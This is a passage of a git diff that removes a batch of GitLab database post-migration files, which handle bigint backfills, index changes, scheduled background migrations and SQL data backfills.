- # superseded by db/post_migrate/20211207125231_schedule_recalculate_uuid_on_vulnerabilities_occurrences4.rb
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210427045711_backfill_ci_build_trace_chunks_for_bigint_conversion.rb b/db/post_migrate/20210427045711_backfill_ci_build_trace_chunks_for_bigint_conversion.rb
deleted file mode 100644
index 7e11d38868b..00000000000
--- a/db/post_migrate/20210427045711_backfill_ci_build_trace_chunks_for_bigint_conversion.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiBuildTraceChunksForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :ci_build_trace_chunks
- COLUMNS = %i(build_id)
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- return unless should_run?
-
- revert_backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210427085020_backfill_ci_builds_runner_session_for_bigint_conversion.rb b/db/post_migrate/20210427085020_backfill_ci_builds_runner_session_for_bigint_conversion.rb
deleted file mode 100644
index fa0420fe426..00000000000
--- a/db/post_migrate/20210427085020_backfill_ci_builds_runner_session_for_bigint_conversion.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiBuildsRunnerSessionForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :ci_builds_runner_session
- COLUMNS = %i(build_id)
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- return unless should_run?
-
- revert_backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210427212034_schedule_update_timelogs_project_id.rb b/db/post_migrate/20210427212034_schedule_update_timelogs_project_id.rb
deleted file mode 100644
index 13b802f7cb4..00000000000
--- a/db/post_migrate/20210427212034_schedule_update_timelogs_project_id.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleUpdateTimelogsProjectId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- BATCH_SIZE = 50_000
- DELAY_INTERVAL = 2.minutes
- MIGRATION = 'UpdateTimelogsProjectId'
-
- disable_ddl_transaction!
-
- class Timelog < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'timelogs'
- self.inheritance_column = :_type_disabled
- end
-
- def up
- queue_background_migration_jobs_by_range_at_intervals(
- Timelog.all,
- MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE
- )
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210429143649_add_new_issues_index_for_relative_position.rb b/db/post_migrate/20210429143649_add_new_issues_index_for_relative_position.rb
deleted file mode 100644
index 50785fa94f8..00000000000
--- a/db/post_migrate/20210429143649_add_new_issues_index_for_relative_position.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddNewIssuesIndexForRelativePosition < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'idx_issues_on_project_id_and_rel_asc_and_id'
-
- def up
- add_concurrent_index :issues, [:project_id, :relative_position, :id], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name(:issues, INDEX_NAME)
- end
-end
diff --git a/db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb b/db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb
deleted file mode 100644
index 340dceda254..00000000000
--- a/db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiBuildTraceSectionsForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :ci_build_trace_sections
- COLUMN = :build_id
-
- def up
- # No-op to disable the migration:
- # backfill_conversion_of_integer_to_bigint TABLE, COLUMN, batch_size: 15000, sub_batch_size: 100, primary_key: COLUMN
- end
-
- def down
- revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMN, primary_key: COLUMN
- end
-end
diff --git a/db/post_migrate/20210430130259_remove_obsolete_segments_field.rb b/db/post_migrate/20210430130259_remove_obsolete_segments_field.rb
deleted file mode 100644
index ffdd84582cb..00000000000
--- a/db/post_migrate/20210430130259_remove_obsolete_segments_field.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveObsoleteSegmentsField < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- remove_column :analytics_devops_adoption_segments, :name
- end
- end
-
- def down
- add_column :analytics_devops_adoption_segments, :name, :text
- add_text_limit :analytics_devops_adoption_segments, :name, 255
- end
-end
diff --git a/db/post_migrate/20210430134202_copy_adoption_snapshot_namespace.rb b/db/post_migrate/20210430134202_copy_adoption_snapshot_namespace.rb
deleted file mode 100644
index d0a72ff2c43..00000000000
--- a/db/post_migrate/20210430134202_copy_adoption_snapshot_namespace.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class CopyAdoptionSnapshotNamespace < ActiveRecord::Migration[6.0]
- def up
- execute <<-SQL
- UPDATE analytics_devops_adoption_snapshots snapshots
- SET namespace_id = segments.namespace_id
- FROM analytics_devops_adoption_segments segments
- WHERE snapshots.namespace_id IS NULL AND segments.id = snapshots.segment_id
- SQL
- end
-
- def down
- execute 'UPDATE analytics_devops_adoption_snapshots SET namespace_id = NULL'
- end
-end
diff --git a/db/post_migrate/20210430135954_copy_adoption_segments_namespace.rb b/db/post_migrate/20210430135954_copy_adoption_segments_namespace.rb
deleted file mode 100644
index 04f454bea37..00000000000
--- a/db/post_migrate/20210430135954_copy_adoption_segments_namespace.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-class CopyAdoptionSegmentsNamespace < ActiveRecord::Migration[6.0]
- def up
- execute <<-SQL
- UPDATE analytics_devops_adoption_segments SET display_namespace_id = namespace_id
- WHERE display_namespace_id IS NULL
- SQL
- end
-
- def down
- execute 'UPDATE analytics_devops_adoption_segments SET display_namespace_id = NULL'
- end
-end
diff --git a/db/post_migrate/20210505092746_create_partial_covering_index_for_pending_builds.rb b/db/post_migrate/20210505092746_create_partial_covering_index_for_pending_builds.rb
deleted file mode 100644
index 81fe65c1945..00000000000
--- a/db/post_migrate/20210505092746_create_partial_covering_index_for_pending_builds.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class CreatePartialCoveringIndexForPendingBuilds < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- EXISTING_INDEX = 'index_ci_builds_runner_id_pending'
- NEW_INDEX = 'index_ci_builds_runner_id_pending_covering'
-
- def up
- disable_statement_timeout do
- execute "CREATE INDEX CONCURRENTLY #{NEW_INDEX} ON ci_builds (runner_id, id) INCLUDE (project_id) WHERE status = 'pending' AND type = 'Ci::Build'" unless index_exists_by_name?(:ci_builds, NEW_INDEX)
- end
-
- remove_concurrent_index_by_name :ci_builds, EXISTING_INDEX
- end
-
- def down
- add_concurrent_index :ci_builds, :runner_id, where: "status = 'pending' AND type = 'Ci::Build'", name: EXISTING_INDEX
-
- remove_concurrent_index_by_name :ci_builds, NEW_INDEX
- end
-end
diff --git a/db/post_migrate/20210506064413_create_namespaces_id_parent_id_inverse_partial_index.rb b/db/post_migrate/20210506064413_create_namespaces_id_parent_id_inverse_partial_index.rb
deleted file mode 100644
index 151b0f64e80..00000000000
--- a/db/post_migrate/20210506064413_create_namespaces_id_parent_id_inverse_partial_index.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class CreateNamespacesIdParentIdInversePartialIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- NAME = 'index_namespaces_id_parent_id_is_not_null'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :namespaces, :id, where: 'parent_id IS NOT NULL', name: NAME
- end
-
- def down
- remove_concurrent_index :namespaces, :id, name: NAME
- end
-end
diff --git a/db/post_migrate/20210506065000_schedule_backfill_traversal_ids.rb b/db/post_migrate/20210506065000_schedule_backfill_traversal_ids.rb
deleted file mode 100644
index 5ae80c1da80..00000000000
--- a/db/post_migrate/20210506065000_schedule_backfill_traversal_ids.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleBackfillTraversalIds < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- ROOTS_MIGRATION = 'BackfillNamespaceTraversalIdsRoots'
- CHILDREN_MIGRATION = 'BackfillNamespaceTraversalIdsChildren'
- DOWNTIME = false
- BATCH_SIZE = 1_000
- SUB_BATCH_SIZE = 100
- DELAY_INTERVAL = 2.minutes
-
- disable_ddl_transaction!
-
- def up
- # Personal namespaces and top-level groups
- final_delay = queue_background_migration_jobs_by_range_at_intervals(
- ::Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsRoots::Namespace.base_query,
- ROOTS_MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE,
- other_job_arguments: [SUB_BATCH_SIZE],
- track_jobs: true
- )
- final_delay += DELAY_INTERVAL
-
- # Subgroups
- queue_background_migration_jobs_by_range_at_intervals(
- ::Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsChildren::Namespace.base_query,
- CHILDREN_MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE,
- initial_delay: final_delay,
- other_job_arguments: [SUB_BATCH_SIZE],
- track_jobs: true
- )
- end
-end
diff --git a/db/post_migrate/20210511095657_add_temporary_index_for_project_topics_to_taggings.rb b/db/post_migrate/20210511095657_add_temporary_index_for_project_topics_to_taggings.rb
deleted file mode 100644
index 0d807df614c..00000000000
--- a/db/post_migrate/20210511095657_add_temporary_index_for_project_topics_to_taggings.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddTemporaryIndexForProjectTopicsToTaggings < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'tmp_index_taggings_on_id_where_taggable_type_project_and_tags'
- INDEX_CONDITION = "taggable_type = 'Project' AND context = 'tags'"
-
- disable_ddl_transaction!
-
- def up
- # this index is used in 20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics
- add_concurrent_index :taggings, :id, where: INDEX_CONDITION, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :taggings, INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics.rb b/db/post_migrate/20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics.rb
deleted file mode 100644
index 25d23b771d5..00000000000
--- a/db/post_migrate/20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleMigrateProjectTaggingsContextFromTagsToTopics < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- BATCH_SIZE = 30_000
- DELAY_INTERVAL = 2.minutes
- MIGRATION = 'MigrateProjectTaggingsContextFromTagsToTopics'
-
- disable_ddl_transaction!
-
- class Tagging < ActiveRecord::Base
- include ::EachBatch
-
- self.table_name = 'taggings'
- end
-
- def up
- queue_background_migration_jobs_by_range_at_intervals(
- Tagging.where(taggable_type: 'Project', context: 'tags'),
- MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE
- )
- end
-
- def down
- end
-end
diff --git a/db/post_migrate/20210511142748_schedule_drop_invalid_vulnerabilities2.rb b/db/post_migrate/20210511142748_schedule_drop_invalid_vulnerabilities2.rb
deleted file mode 100644
index 09886b85571..00000000000
--- a/db/post_migrate/20210511142748_schedule_drop_invalid_vulnerabilities2.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleDropInvalidVulnerabilities2 < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- MIGRATION = 'DropInvalidVulnerabilities'
- DELAY_INTERVAL = 2.minutes.to_i
- BATCH_SIZE = 10_000
-
- disable_ddl_transaction!
-
- def up
- queue_background_migration_jobs_by_range_at_intervals(
- define_batchable_model('vulnerabilities'),
- MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE,
- track_jobs: true
- )
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210513155447_add_temporary_package_index_for_nuget_data_migration.rb b/db/post_migrate/20210513155447_add_temporary_package_index_for_nuget_data_migration.rb
deleted file mode 100644
index b43abab2a96..00000000000
--- a/db/post_migrate/20210513155447_add_temporary_package_index_for_nuget_data_migration.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddTemporaryPackageIndexForNugetDataMigration < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'tmp_index_packages_on_id_where_nuget_default_temp_package'
- INDEX_CONDITION = "package_type = 4 AND name = 'NuGet.Temporary.Package' AND status = 0"
-
- disable_ddl_transaction!
-
- def up
- # this index is used in 20210513155546_backfill_nuget_temporary_packages_to_processing_status
- add_concurrent_index :packages_packages, :id, where: INDEX_CONDITION, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :packages_packages, INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210513155546_backfill_nuget_temporary_packages_to_processing_status.rb b/db/post_migrate/20210513155546_backfill_nuget_temporary_packages_to_processing_status.rb
deleted file mode 100644
index 8124f94b519..00000000000
--- a/db/post_migrate/20210513155546_backfill_nuget_temporary_packages_to_processing_status.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillNugetTemporaryPackagesToProcessingStatus < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- class Package < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'packages_packages'
-
- scope :nuget_temporary_packages, -> do
- # 4 is nuget package type, 0 is default status
- where(package_type: 4, name: 'NuGet.Temporary.Package', status: 0)
- end
- end
-
- def up
- Package.nuget_temporary_packages.each_batch(of: 100) do |batch|
- # 2 is processing status
- batch.update_all(status: 2)
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210513155635_remove_temporary_package_index_for_nuget_data_migration.rb b/db/post_migrate/20210513155635_remove_temporary_package_index_for_nuget_data_migration.rb
deleted file mode 100644
index eb0abba5112..00000000000
--- a/db/post_migrate/20210513155635_remove_temporary_package_index_for_nuget_data_migration.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveTemporaryPackageIndexForNugetDataMigration < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'tmp_index_packages_on_id_where_nuget_default_temp_package'
- INDEX_CONDITION = "package_type = 4 AND name = 'NuGet.Temporary.Package' AND status = 0"
-
- disable_ddl_transaction!
-
- def up
- # this index was used in 20210513155546_backfill_nuget_temporary_packages_to_processing_status
- remove_concurrent_index_by_name :packages_packages, INDEX_NAME
- end
-
- def down
- add_concurrent_index :packages_packages, :id, where: INDEX_CONDITION, name: INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb b/db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb
deleted file mode 100644
index 665d274a0ee..00000000000
--- a/db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-class CleanupMoveContainerRegistryEnabledToProjectFeature < ActiveRecord::Migration[6.0]
- MIGRATION = 'MoveContainerRegistryEnabledToProjectFeature'
-
- disable_ddl_transaction!
-
- def up
- Gitlab::BackgroundMigration.steal(MIGRATION)
-
- bg_migration_job_class = define_background_migration_jobs_class
- bg_migration_job_class.where(class_name: MIGRATION, status: bg_migration_job_class.statuses['pending']).each do |job|
- Gitlab::BackgroundMigration::MoveContainerRegistryEnabledToProjectFeature.new.perform(*job.arguments)
- end
-
- bg_migration_job_class.where(class_name: MIGRATION).delete_all
- end
-
- def down
- # no-op
- end
-
- private
-
- def define_background_migration_jobs_class
- Class.new(ActiveRecord::Base) do
- self.table_name = 'background_migration_jobs'
- self.inheritance_column = :_type_disabled
-
- enum status: {
- pending: 0,
- succeeded: 1
- }
- end
- end
-end
diff --git a/db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb b/db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb
deleted file mode 100644
index 76e4a0a95bb..00000000000
--- a/db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleCleanupOrphanedLfsObjectsProjects < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- MIGRATION = 'CleanupOrphanedLfsObjectsProjects'
- DELAY_INTERVAL = 2.minutes
- BATCH_SIZE = 50_000
-
- disable_ddl_transaction!
-
- class LfsObjectsProject < ActiveRecord::Base
- self.table_name = 'lfs_objects_projects'
-
- include ::EachBatch
- end
-
- def up
- queue_background_migration_jobs_by_range_at_intervals(LfsObjectsProject, MIGRATION, DELAY_INTERVAL, batch_size: BATCH_SIZE)
- end
-
- def down
- # NOOP
- end
-end
diff --git a/db/post_migrate/20210517075444_remove_temporary_index_for_project_topics_to_taggings.rb b/db/post_migrate/20210517075444_remove_temporary_index_for_project_topics_to_taggings.rb
deleted file mode 100644
index bfd09653695..00000000000
--- a/db/post_migrate/20210517075444_remove_temporary_index_for_project_topics_to_taggings.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveTemporaryIndexForProjectTopicsToTaggings < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'tmp_index_taggings_on_id_where_taggable_type_project_and_tags'
- INDEX_CONDITION = "taggable_type = 'Project' AND context = 'tags'"
-
- disable_ddl_transaction!
-
- def up
- # this index was used in 20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics
- remove_concurrent_index_by_name :taggings, INDEX_NAME
- end
-
- def down
- add_concurrent_index :taggings, :id, where: INDEX_CONDITION, name: INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210518001450_backfill_clusters_integration_elastic_stack_enabled.rb b/db/post_migrate/20210518001450_backfill_clusters_integration_elastic_stack_enabled.rb
deleted file mode 100644
index 6d21945af00..00000000000
--- a/db/post_migrate/20210518001450_backfill_clusters_integration_elastic_stack_enabled.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillClustersIntegrationElasticStackEnabled < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- ApplicationRecord.connection.execute(<<~SQL.squish)
- INSERT INTO clusters_integration_elasticstack(
- cluster_id,
- enabled,
- chart_version,
- created_at,
- updated_at
- )
- SELECT
- cluster_id,
- true,
- version,
- TIMEZONE('UTC', NOW()),
- TIMEZONE('UTC', NOW())
- FROM clusters_applications_elastic_stacks
- WHERE status IN (3, 11)
- ON CONFLICT(cluster_id) DO UPDATE SET
- enabled = true,
- updated_at = TIMEZONE('UTC', NOW())
- SQL
- end
-
- def down
- # Irreversible
- end
-end
diff --git a/db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb b/db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb
deleted file mode 100644
index 8583f8541c7..00000000000
--- a/db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleDisableExpirationPoliciesLinkedToNoContainerImages < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- BATCH_SIZE = 30_000
- DELAY = 2.minutes.freeze
- DOWNTIME = false
- MIGRATION = 'DisableExpirationPoliciesLinkedToNoContainerImages'
-
- disable_ddl_transaction!
-
- def up
- queue_background_migration_jobs_by_range_at_intervals(
- define_batchable_model('container_expiration_policies').where(enabled: true),
- MIGRATION,
- DELAY,
- batch_size: BATCH_SIZE,
- track_jobs: false,
- primary_column_name: :project_id
- )
- end
-
- def down
- # this migration is irreversible
-
- # we can't accuretaly know which policies were previously enabled during the background migration
- end
-end
diff --git a/db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb b/db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb
deleted file mode 100644
index 6cd9b1173b6..00000000000
--- a/db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillClustersIntegrationPrometheusEnabled < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- ApplicationRecord.connection.execute(<<~SQL.squish)
- WITH executed_at AS (VALUES (TIMEZONE('UTC', NOW())))
- INSERT INTO clusters_integration_prometheus(
- cluster_id,
- enabled,
- encrypted_alert_manager_token,
- encrypted_alert_manager_token_iv,
- created_at,
- updated_at
- )
- SELECT
- cluster_id,
- true,
- encrypted_alert_manager_token,
- encrypted_alert_manager_token_iv,
- (table executed_at),
- (table executed_at)
- FROM clusters_applications_prometheus
- WHERE status IN (
- 3, /* installed */
- 11 /* externally installed */
- )
- ON CONFLICT(cluster_id) DO UPDATE SET
- enabled = true,
- encrypted_alert_manager_token = EXCLUDED.encrypted_alert_manager_token,
- encrypted_alert_manager_token_iv = EXCLUDED.encrypted_alert_manager_token_iv,
- updated_at = (table executed_at)
- SQL
- end
-
- def down
- # Irreversible
- end
-end
diff --git a/db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb b/db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb
deleted file mode 100644
index 39dd78975da..00000000000
--- a/db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiBuildsMetadataForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :ci_builds_metadata
- COLUMN = :build_id
-
- def up
- backfill_conversion_of_integer_to_bigint TABLE, COLUMN, batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMN
- end
-end
diff --git a/db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb b/db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb
deleted file mode 100644
index f972815cf67..00000000000
--- a/db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillEscalationPoliciesForOncallSchedules < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- # Creates a single new escalation policy for projects which have
- # existing on-call schedules. Only one schedule is expected
- # per project, but it is possible to have multiple.
- #
- # An escalation rule is created for each existing schedule,
- # configured to immediately notify the schedule of an incoming
- # alert payload unless the alert has already been acknowledged.
- # For projects with multiple schedules, the name of the first saved
- # schedule will be used for the policy's description.
- #
- # Skips projects which already have escalation policies & schedules.
- #
- # EX)
- # For these existing records:
- # Project #3
- # IncidentManagement::OncallSchedules #13
- # project_id: 3
- # name: 'Awesome Schedule'
- # description: null
- # IncidentManagement::OncallSchedules #14
- # project_id: 3
- # name: '2ndary sched'
- # description: 'Backup on-call'
- #
- # These will be inserted:
- # EscalationPolicy #1
- # project_id: 3
- # name: 'On-call Escalation Policy'
- # description: 'Immediately notify Awesome Schedule'
- # EscalationRule #1
- # policy_id: 1,
- # oncall_schedule_id: 13
- # status: 1 # Acknowledged status
- # elapsed_time_seconds: 0
- # EscalationRule #2
- # policy_id: 1,
- # oncall_schedule_id: 14
- # status: 1 # Acknowledged status
- # elapsed_time_seconds: 0
- def up
- ApplicationRecord.connection.exec_query(<<~SQL.squish)
- WITH new_escalation_policies AS (
- INSERT INTO incident_management_escalation_policies (
- project_id,
- name,
- description
- )
- SELECT
- DISTINCT ON (project_id) project_id,
- 'On-call Escalation Policy',
- CONCAT('Immediately notify ', name)
- FROM incident_management_oncall_schedules
- WHERE project_id NOT IN (
- SELECT DISTINCT project_id
- FROM incident_management_escalation_policies
- )
- ORDER BY project_id, id
- RETURNING id, project_id
- )
-
- INSERT INTO incident_management_escalation_rules (
- policy_id,
- oncall_schedule_id,
- status,
- elapsed_time_seconds
- )
- SELECT
- new_escalation_policies.id,
- incident_management_oncall_schedules.id,
- 1,
- 0
- FROM new_escalation_policies
- INNER JOIN incident_management_oncall_schedules
- ON new_escalation_policies.project_id = incident_management_oncall_schedules.project_id
- SQL
- end
-
- # There is no way to distinguish between policies created
- # via the backfill or as a result of a user creating a new
- # on-call schedule.
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb b/db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb
deleted file mode 100644
index 68bc82059bc..00000000000
--- a/db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillPkConversionForSelfManaged < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- CONVERSIONS = [
- { table: :events, columns: %i(id), sub_batch_size: 500 },
- { table: :push_event_payloads, columns: %i(event_id), sub_batch_size: 2500, primary_key: :event_id },
- { table: :ci_job_artifacts, columns: %i(id job_id), sub_batch_size: 2000 },
- { table: :ci_sources_pipelines, columns: %i(source_job_id), sub_batch_size: 100 },
- { table: :ci_build_needs, columns: %i(build_id), sub_batch_size: 1000 },
- { table: :ci_builds, columns: %i(id stage_id), sub_batch_size: 250 },
- { table: :ci_builds_runner_session, columns: %i(build_id), sub_batch_size: 5000 },
- { table: :ci_build_trace_chunks, columns: %i(build_id), sub_batch_size: 1000 }
- ]
-
- def up
- return unless should_run?
-
- CONVERSIONS.each do |conversion|
- backfill_conversion_of_integer_to_bigint(
- conversion[:table], conversion[:columns],
- sub_batch_size: conversion[:sub_batch_size], primary_key: conversion.fetch(:primary_key, :id)
- )
- end
- end
-
- def down
- return unless should_run?
-
- CONVERSIONS.each do |conversion|
- revert_backfill_conversion_of_integer_to_bigint(
- conversion[:table], conversion[:columns],
- primary_key: conversion.fetch(:primary_key, :id)
- )
- end
- end
-
- private
-
- def should_run?
- !Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210525075724_clean_up_pending_builds_table.rb b/db/post_migrate/20210525075724_clean_up_pending_builds_table.rb
deleted file mode 100644
index 59b41dd2008..00000000000
--- a/db/post_migrate/20210525075724_clean_up_pending_builds_table.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-class CleanUpPendingBuildsTable < ActiveRecord::Migration[6.0]
- include ::Gitlab::Database::DynamicModelHelpers
-
- BATCH_SIZE = 1000
-
- disable_ddl_transaction!
-
- def up
- return unless Gitlab.dev_or_test_env? || Gitlab.com?
-
- each_batch_range('ci_pending_builds', connection: connection, of: BATCH_SIZE) do |min, max|
- execute <<~SQL
- DELETE FROM ci_pending_builds
- USING ci_builds
- WHERE ci_builds.id = ci_pending_builds.build_id
- AND ci_builds.status != 'pending'
- AND ci_builds.type = 'Ci::Build'
- AND ci_pending_builds.id BETWEEN #{min} AND #{max}
- SQL
- end
- end
-
- def down
- # noop
- end
-end
diff --git a/db/post_migrate/20210526160133_remove_segment_selections_table.rb b/db/post_migrate/20210526160133_remove_segment_selections_table.rb
deleted file mode 100644
index 02e981b40ba..00000000000
--- a/db/post_migrate/20210526160133_remove_segment_selections_table.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveSegmentSelectionsTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- drop_table :analytics_devops_adoption_segment_selections
- end
-
- def down
- create_table :analytics_devops_adoption_segment_selections do |t|
- t.references :segment, index: { name: 'index_on_segment_selections_segment_id' }, null: false, foreign_key: { to_table: :analytics_devops_adoption_segments, on_delete: :cascade }
- t.bigint :group_id
- t.bigint :project_id
- t.index [:group_id, :segment_id], unique: true, name: 'index_on_segment_selections_group_id_segment_id'
- t.index [:project_id, :segment_id], unique: true, name: 'index_on_segment_selections_project_id_segment_id'
-
- t.timestamps_with_timezone
- end
